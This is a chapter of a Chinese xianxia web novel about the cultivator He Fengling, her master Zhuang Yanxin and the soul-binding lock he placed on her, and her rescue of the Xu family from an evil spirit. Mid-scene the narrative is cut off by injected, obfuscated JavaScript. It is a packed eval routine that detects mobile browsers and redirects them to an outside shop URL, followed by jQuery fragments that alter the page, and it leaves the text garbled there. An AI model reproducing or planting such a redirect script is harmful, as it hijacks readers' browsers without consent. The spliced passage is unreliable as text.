转眼就是神照九十九年,重阳。
姜城以北,幽冥北境以南,群山环绕之中,有一座东西向的狭长小城。
小城以瑰丽夕照著称,得故神赐名“暮安”。
从东门入暮安城,沿着主街西行三百米,便是余甘茶坊。
重阳日,宜登高望远,可避灾纳吉。
是以人们多往风景秀丽的西山去,城东这座平日喧闹的茶坊现在颇为冷清。
唯有申正时分,进来个神秘修士将二楼雅间都包圆了。
哐啷!
一声巨响,连带着细碎的桌椅挪动声,似是重物砸落地板带倒了东西。
原在小憩的茶坊掌柜猛然惊醒,慌忙跑向二楼,一面祈祷:故神在上,正值佳节,可别闹出性命来!
未等她迈上楼梯,转角处已一前一后拐出两个齐整身影。
为首的高挑女子一袭千山翠滚银边的对襟法袍,正是包下雅间的那位修士,周身气势凌冽,让人不敢细观。
其后身形同样挺拔的男子虽是白发,但一身暖栗搭草色白的衣饰正合秋意,愈发显得面如冠玉,观之可亲。
只不过,这般灵秀登对的两人,怎得会闹出那样大的动静?
何风泠望着楼下讶然怔愣的掌柜,轻叹了口气。原不该惊扰他人的,怎奈自己在师尊面前总压不住脾气。
自她晋入大乘圆满,尚未回过明堂。原该每年中秋一封平安家信,但风泠心头有气,便把翼然峰一应往来都停了。识海中的零碎光点到底拼凑出点样子,是把缚魂锁。
炼器宗师心思实在精巧,纵使禁制破开,被封存的记忆仍会被束缚,不得恢复原状,只能丝丝缕缕地入梦。
想她堂堂大乘圆满,原不需要休憩入眠,如今却为了这点莫名其妙的旧忆,不得不如常人般时时补觉!
而庄衍炘呢?
她不问,他就当什么都没发生,那也行,各干各的正事去。
现在倒好,巴巴地跑来跟前烦人。等她真问了缚魂锁,他又东拉西扯、左言他顾,还露出些哀伤神色。
这算什么,无赖么不是!?
简直不可理喻。
及到近前,她错身让庄衍炘走上前去,这才温声向掌柜致歉、作赔。
掌柜得了十倍灵石,愈发恍惚:这天上仙似的姑娘好大方,长得也是真好,就是说话怎么如此软和,与气质不搭呀。
.
师徒两人肩并肩地往西山走,何风泠沿路摘了捧色彩缤纷的仙草灵花抱在怀中。
捡了朵绯白重瓣的簪在耳边,又挑出一枝浅金鎏月兰,原想给庄衍炘簪上,竟被他偏头躲了去。
她不由好笑道:“师尊先前在茶坊里连铜壶都不躲,现在一枝花儿倒要躲了?”
“如此行事,不妥……”
庄衍炘心知她是有意作弄,可有些话,他这做师尊的不得不说。
“哦…?今日簪花有何不妥,还是说我这簪花人不妥?”
何风泠浑不在意地反问,好似别无深意。
“……”
这话庄衍炘真没法接。
他早有预料,皦皦必然察觉了灵力和记忆的异样,却没想到她见面就问缚魂锁。他的好徒儿没能问出底细,想必心中仍旧愤懑不已,自然曲里拐弯地给他挖坑。
这会子正遇着游人成群结队地下山回家,师徒俩逆流而上,本就引人注目,再加上出众的容色和略显暧.昧的对问,便是山中游荡的猴子也要来瞅一眼。
赤霄仙尊庄衍炘历经两千余年,被如此围观、窥视还是第一回。他实在禁不住周遭愈加灼热的好奇目光和逐渐露.骨的窃窃私语,正欲遁走,却被扯了衣袖,动弹不得。
说什么感受佳节氛围,这丫头分明是早计划着看他笑话。
风泠几时见过他这般无措?兀自笑得开怀,只恨没带留影石。
“高兴了?”
“也许?”
庄衍炘到底让她一路拽着袖子回了西山神庙。
游人散尽,维护神庙的精怪道使正忙着洒扫神殿、整理祭坛。
见着何风泠,一众精怪兴高采烈、叽里呱啦地朝她道喜:
“恭喜泠大人历劫成功!”
“贺喜泠大人成为最年轻的大乘圆满!”
“泠大人什么时候再揍一次境主?仙源那次我们都没瞧见!怎得连留影石都没有!!!”
“不对,咱们是不是该改口叫仙首大人了?”
“仙首大人好!”
“仙首大人好!”
“欸,赤霄老祖也来了?”
庄衍炘听着这一句“老祖”应也不是,不应也不是。
何风泠手脚麻利地供好灵植仙草,在一旁幸灾乐祸地问道:“怎么又给师尊涨辈分?改从我这另算的?”
“那是自然,泠大人现在可是咱们神庙、明堂的当家仙首了!”
那道使甚是自豪,响亮应是。
精怪们忽的想起了什么,牵着风泠走到那玉色神像前,补充道,“姜娘娘知道您现在这么厉害,一定很高兴!”
此界曾有多位大能飞升成神,但神庙遍布九州、各族生灵自发铭记的唯有姜月明。
因着姜月明不曾应许某个尊号,世人不敢妄称,便称之为“姜娘娘”。直到百多年前,厌幽劫后,才多了“故神”的世称。
而何风泠——故神在家乡云天外点化的第一个凡人,某种意义上是故神留给此界的最后一件作品。
她虔诚下拜,精怪们跳起祷神之舞,呦呦兽鸣相伴,满是欢欣喜悦。
庄衍炘身为故神子侄,亦身在殿中,却犹如外客。
他再一次意识到,无论何时,何风泠总能抓住他所有的目光。
神照元年初入明堂的小姑娘也是这样,纵使周遭何等的喧腾不休,她也能一眨不眨地注视着神像,恍若自成境界。
唯一不同的是,那时的她还会像这些精怪一般懵懂地发问:“尊上,姜娘娘什么时候回来?”
而现在,她也学会了那句祷词——淑人神女,怀允不忘。①
“铛…
“铛……
“铛………”
神庙晚钟响起,一更尽,人定时。
风泠缓缓起身,好似归巢倦鸟、得了慰藉,再无一丝犹疑、躁郁。
她神色认真,语调轻缓而坚定地请战:
“师尊,缚魂锁我不问了。我们比一场?”
庄衍炘却有些分不清是惊雷乍响,还是耳鸣大作。
她要比什么?
除了缚魂锁她还知道多少?
他早前考虑过的,就算皦皦发现异常,就算皦皦已是炼器宗师,也绝不可能自行解开缚魂锁的禁制。
但……她如此行事……
庄衍炘不敢深想。
他第一次后悔,神照六十一年,他也许不该炼那把缚魂锁,更不该下那道禁制。
但事已至此,怎可再扰她心神。
心绪千回百转间,庄仙尊斟酌用词,条分缕析:
“论征伐比武,我不如仙源境主。境主已败于你手,可知弟子远胜于师,不必再比。
“至于铸器锻灵,浮烟现世时,胜负已分。皦皦当时便赢了,高兴了许久。”
仙尊似乎觉得论据非常充分,满怀欣慰地一锤定音:
“皦皦,不必再比,你可以出师了。”
狂风骤起,垂帘帐幕纷飞。
这些本来的事,还需要他说吗!
何风泠一把将不知搭错了哪一根筋的糊涂师尊掀翻在地,却不期然对上一双满是困惑的栗棕眼瞳,她有些犹豫——两只眼睛都挺漂亮的,揍哪一只比较好?
左眼微微上扬,要亮一点点;右眼睑上有颗小痣,和他最艳丽的羽毛一个颜色,风泠还是第一次注意到。
要不两只都打了一遍?
风泠尚在认真抉择,偏偏某位仙尊还不知危险、喋喋不休:
“皦皦,你知道的,我原身是栗鸢,近身肉.搏对你不公平。”
何仙首现在觉得就算是姜孃孃再世,也决计拦不住的。
她今天一定要把这永远对不上想法的愚钝妖怪揍得鼻青脸肿、满地找牙!
只可惜拳头还未落下,心脉就开始抽痛,似是抗议。
何风泠豁然想起,是了,还有点东西要确定。
而庄衍炘不愧是迅捷非常的鸢鸟大妖,动作比脑子快。
起身、抱人、渡灵气,一气呵成,就像做了千万遍。
风泠被他圈在怀中,没有挣扎,但周身灵气悄然汇聚,一击即中。
躁动不安的心脉归于平静,外来的灵气被一一逼出,她一字一顿地还回去:“弟子远胜于师,您自己说的。”
偏头瞧见师尊同样煞白着一张脸,千头万绪汇聚,风泠找到根线头。
他倒真舍得!
她身体里的一半妖心虽已被炼化,但残存有感应,本源离得那么近,自然分不清谁才是现在的主人。
风泠稍稍后仰,正靠在庄衍炘紧绷的臂膀,似是妥协求和,说出的话却比秋风还要肃杀,令人如坠冰窟。
“师尊,您也知道的,我是个孤女,所以……向来狠得下心。”
庄衍炘刚从剧痛中回神,就听见这意味不明的一句,脱口唤道:
“皦皦!”
不过停顿一瞬,尖锐竹刀已直入心口。
庄衍炘确实不比她身手敏捷,没截下利刃,倒摸了满手温热。
是风泠的血。
“师尊,您抖什么,也很痛吗?”
风泠利落地收回武器,一边捧着心口施施然起身,一边温声关怀,甚至还贴心地替师尊拭去唇角逸出的血痕。
她径自回了神殿,仍旧跪回原位。
为私情自伤,有违故神教导。②
以下犯上,有失行止矩范。
当罚。
盯着神龛里宛然如生的塑像,风泠难得有些思绪发散。
“质胜文则野,文胜质则史。文质彬彬,然后君子。泠泠敏而好学,任性自然,兼有行止,实为君子。”③
故神当年夸她有君子风范,她现在心思浮动,如何担得起。
换她心脉、封她记忆、锁她神魂,桩桩件件事关己身,庄衍炘凭什么不与她商量?
他又凭什么自作主张地要与她同分伤痛、共担生死?
孃孃,您当真不会回来了么?
——
何风泠走后不知多久,庄衍炘才恍惚回神,浑身脱力似的就地躺倒,只见天边一弯明月清清亮亮。
故神在上,他莫不是疯了,这都胡说了些什么?
因她端午未归,又断了中秋家信,他才特意寻至此地。原是要请她归山,明明是生怕她离开……
出师?他怎么说得出口!?
皦皦本就为缚魂锁着恼,此番试探,显然是连妖心都发现了。
到底是灵力炼化出了异常叫她有意试探,还是她破了缚魂锁禁制、得了所有记忆?
若是前者,可会于她修行有碍?
若是后者……他如何解释得清?
千愁万绪都拢作一团,庄衍炘胡乱抹了把脸,便要追回殿去。
却瞧见风泠蜷缩在神龛里,像只猫儿似的依着神像,犹在梦中呢喃自语:
“孃孃,均翕想你了。”
“孃孃何时回来?”
庄仙尊心中一片酸软,轻轻地拢好神龛垂帘。他再不敢多留,连夜回了翼然峰。
.
何仙首这些时日过得颇为充实,先是回了趟云天外,把庄衍炘的苍梧老巢连根撬了据为己有。再折回幽冥北境,同魔族巫祭重设厌幽封印、顺便商量明堂大比的事宜。
神照九十九年,腊月二十三,由北至南,她又回了暮安小城。
暮安有好景,犹以岁末、金乌西沉时为佳;赏景处,以城中余甘茶坊二楼临窗雅间为上。
“倒是比重阳那日的好瞧些,也不知师尊见过没有?”
何风泠有些百无聊赖地想。她随手将半盏残茶搁回小案上,一手支上窗台,远眺着窗外冬日里依旧苍翠的西山。
随着最后一丝金线坠入山色,街上行人渐少,今日祭灶,归家须趁早。
她也抄起竹幂篱扣在头顶,撂下几块灵石便没了踪影。
这姑娘形单影只地自西城门出,慢悠悠地往西山上爬,山腰有座姜娘娘庙,她的家在那里。
“仙首大人,您今天飞升成神了没?”
“老祖他怎么最近都不来了呢?”
“姜娘娘的大房子我们打扫得可干净了!”
“姜娘娘她真的不再回来了吗?呜呜……”
山里初通灵智的精怪还没有随侍神庙的资格,风泠身后叽叽喳喳跟了一群,重复着早前答过许多遍的问题,甚是吵闹。
她又懒怠驱赶,只得匿了自己的身形气息,小家伙们分辨不出就四散开来。
风泠耳边清静了,心情颇好地折了捧红梅。一枝簪在幂篱上,余下地预备供奉到庙里。孃孃素来喜爱这些。
“姜娘娘救命!”
忽而,灿灿灵光裹着道稚童呼声蹿进山里,惊得林间小兽咔啦啦乱窜。
风泠心中纳罕,这里离神庙还远着。
却见那灵光径直朝她飞来,只得将其揽至近前。原是一鼎缺盖子的丹炉,里面坐着个珠圆玉润的雪团子,可怜见的哭红了脸。
小姑娘显然吓坏了,口齿却清晰:
“是厌幽!是恶灵!!!
“就在西城门!
“姜娘娘,求您救命!”
“求您救命!”
这熟悉的一句撞进耳里,风泠一时怔然,忽得明白了故神姜月明当年那句“因为你看见我了。”,就如同眼前未开灵窍的小家伙,她当年原本也不可能看见故神的。
或是故神垂怜,或是缘法,或是……
总归她们都看见了。
至于厌幽、恶灵,百年了,这些腌臜杂碎还活得那么顽强。
风泠心中厌憎,昨日她还在幽冥北境加固封印,今日临近的北苍就出了事情,当真不知是谁追着谁。
真稀奇,神照六十三年后,竟还有东西敢盯着她,所以是什么让那些不自量力的鬼蜮小人又出洞了呢?
不过瞬息,风泠搂着缺盖丹炉回到暮安城。小小城池被诡异的寂静笼罩,城墙上风幡似被冻住,竟纹丝不动。
风泠怀里的絮家姑娘眼泪也不掉了,木愣愣地瞧着。
絮家大门洞开,前几进院一概没入黑暗,只余中堂窗棂透出几缕金光,惨淡挣扎。
连求救声都能难以逸出,是厌幽的作派。
风泠将怀里的梅枝塞进丹炉给小姑娘抱着,只取了幂篱上的半枝。
叮——
屈指一弹,红梅凿入凝滞的空气。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281521|198368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>呲啦—咯吱咯吱——
絮家上方一层黑气如蛛网般蔓延,随后碎裂如烟,露出底下步伐挣扎、面上黑纹满布的家丁,以及被黑气缠绕的中堂。
枝上红梅陡然炸开,花瓣纷纷扬扬,直贴那群家丁的眉心,馥郁的清气沿着纹路蔓延,将黑气逼出。
那梅枝则紧接着落在中堂正门,荡开攀附其上的黏滞黑色,连带着门扉化为齑粉。
她来得太快了,倒吊在中堂屋檐的黑影似是恐惧到了极点,滞涩一瞬后怦然爆开。
“想逃?忘了你家大门朝何处开吗?”
风泠左手轻抬,冷声嗤道。
浅青雾气随之翻涌,将墨黑黏腻的怪物围拢。
咔——
素手一握,风泠揪出团黑色液滴妆的东西,徒留一具干瘪的躯干跌在门槛上。
澄澈月光照亮跪倒在地的絮家家主,只见她满面凄惶,口中喃喃:“故神在上,絮家阿宁拜谢!”
絮宁强撑着收回防御法器,露出法器遮蔽下的孩子们,皆是泪如泉涌。
下弦月弯弯,他们得救了。
“把这些烧了罢,兑水一人一贴服了便好。”
风泠将丹炉还给絮宁,一面温声交待,一面提溜了那具干/尸就要走。见絮宁搂着孩子,还要再跪,便摆了摆手,“应该的,今夜无事了,明日辰正到余甘茶坊来。”
絮宁仍有不解但不好再问,只躬身送她。
风泠先是丢了道传信灵符到城主府,说清今夜事宜,又折回城西将那干/尸挂在西城门上。自己则上了门楼屋顶,神识铺展,整个暮安城纤毫毕现、犹在眼底。
她将四处细细筛了一遍,并无其他异常。
这倒是蹊跷,厌幽大劫遗留下的恶灵、混邪向来是蜂拥蚁聚,少有单独行动,怎么这里竟是单有一丝混邪之气?
有也就罢了,怎么会压得絮宁这样的金丹修者毫无应对之力,只能龟缩躲避?
事出反常必有妖,有些人真是按捺不住了。
也罢也罢,多思无益,送花要紧。
“所以这厌幽之后到底是谁?”
风泠修剪着供奉神殿的花枝,喃喃自语。是向故神求问,亦是叩问己心。
百年了,她何风泠昼乾夕惕、终日修炼,就为这一个谜题。
今夜风物甚好,殿外几声兽鸣,清凌凌的月光洒落寒梅,清艳异常。
瞧着这不合物候的灵景,风泠似有所悟:
“客心且喜逢冬暖,天意犹当放晚晴。”④
“多谢孃孃,是均翕心急了。”
她朝那神像俯身拜谢,起身时心气澄明。
.
风泠向来准时,今日却差点耽搁了,原是半道上撞见只折翼的鸟儿,许是昨夜被波及了。可怜见的,便打算如以往捡松烟一般将鸟儿带回翼然峰。
冬日清晨,絮宁带着家中小辈,早早地候在茶坊前。
辰时刚至,风泠便漫步而来。
气息沉静的修者一袭苍葭流烟色的圆领法袍,大翻领露出绢底浅栗团花纹里子,腰间绢色丝绦,佩白玉环缀暖栗翎羽。
她怀里还揣着一只翠青鹩莺,端的是悠然闲适,怎奈气质实在凛冽让人不敢多看。
絮宁心下安定:这般眉目疏朗、凌然清举,当真神仙人也。
“前辈,您……”
风泠摆手免了他们的礼,温声应道:“不用讲究这些,先进去,”瞧着絮宁眼神着实热切,不由笑着多加了一句,“我名‘舒栾’,单叫前辈也使得的。”
还是昨日那雅间,风泠招呼她们各自随意。待上了茶,方才缓缓道:“昨夜到底忙乱,合该让孩子们休整一二,怎得今日这样早的出来吹冷风?”
“前辈仗义出手,已是絮家万幸,岂有让恩人等的道理?”絮宁颇为爽利,指着孩子们笑道,“再者,小家伙们都盼着见您,哪里坐得住!”
“也罢,先说正事。
“事出突然,你们应对得很好,城中未受其他侵扰。
“昨夜我已经知会城主各项事宜,她自会上报明堂、召请道使查访。
“至于絮家……
“恶灵宿体,我吊在西城门口以作警示,道使临城时自会处理。”
话到嘴边,风泠想起那和絮宁七分像的面容,问的直接:“家财密宝,姐弟阋墙?”
“家门不幸,让混邪钻了空子,絮家定将配合道使查清事由。”絮宁干脆应是,她毫不意外这个气息寻常却一招破恶的神秘前辈能猜到缘由。
言罢,她手脚麻利地将一枚戒子并两个乾坤袋呈至风泠面前,解释道:
“这是家中祖传的两味药方,也是那歹人作恶的引子。
“至于这些,前辈大恩,絮家无以为报,不过聊表心意。”
“……”
风泠素来待人宽和,担得起尊崇赞誉,也无惧谣诼忌恨。
昨夜于她不过分内之事,絮宁这般麻利爽快的热烈性子,她倒是一时有些不知如何应对。
絮宁却会错了意,拉了孩子们便要盟誓:“故神在上……”
“莫不是我长了一幅挟恩图报的模样?何需如此?”风泠哭笑不得地拦了人,指着昨夜打过照面的小姑娘感慨道,“真要感谢,我瞧着这几个孩子不错,年岁也合适,莫不如与我同去明堂大比,就当做个伴?”
“啊!?”
现在轮到絮宁发蒙了。
明堂!
故神姜娘娘号召建立的学宫明堂?建在姜城中心的明堂?刚培养出最年轻大乘圆满的明堂?
真真是大难不死必有后福,她絮家这是撞大运了。
“愿意!我们愿意!谢谢前辈!”
还是絮濛小朋友率先反应过来,拉了姐姐哥哥齐声道谢。
.
姜城,位居大陆腹地,由故神洞府扩建而来。
姜城现任城主廖苿芸牵头建立了学宫明堂,并担任掌院。
从地处北边的暮安城去往明堂,需往东南走。
暮安东城门,絮宁领着家仆风风火火地安排好灵马飞车。满打满算还有两个月,纵使孩子们修为贫弱无法疾行,有了这车,怎么都能在大比前赶到姜城。
临到离别,絮家主才觉得不舍,眼巴巴地朝孩子们挥手。
“有我呢,絮家主不必担心!会提醒孩子们写信的,家主请回吧!”
风泠久未驾车,少有的兴奋。一手扯缰绳,一手朝絮宁作别,颠得肩上莺鸟阵阵发懵。
只是刚出边界,耍够飞车的风泠便指挥絮家三姐弟精简行装。
主要是让絮家长姐将车卖了,去置换些灵石、伤药,另加两把飞剑。
这些东西风泠自然不缺,只是她少有教导这般初入练气的小家伙,手边没有合适东西给他们现在修习。
“舒前辈,咱们要那么些东西做什么?”
絮溶忍不住问道。
她虽然已经按指示将物件一一归置进母亲之前准备的乾坤袋,仍有些困惑,毕竟她们姐弟几人都不是剑修。
“教你们飞呀,也不是只有剑修才能御剑嘛!再者你俩的修为总要再涨涨。”风泠眼眸弯弯,周身冷意都消融了不少。
絮家姐弟对视一眼,莫名地头皮一紧,前辈的历练貌似不简单。
风泠手里牵着絮家小妹,走在最前头,兴致颇高:既然有她何风泠作伴,哪里需要担忧到不了姜城?不过是辛苦些罢!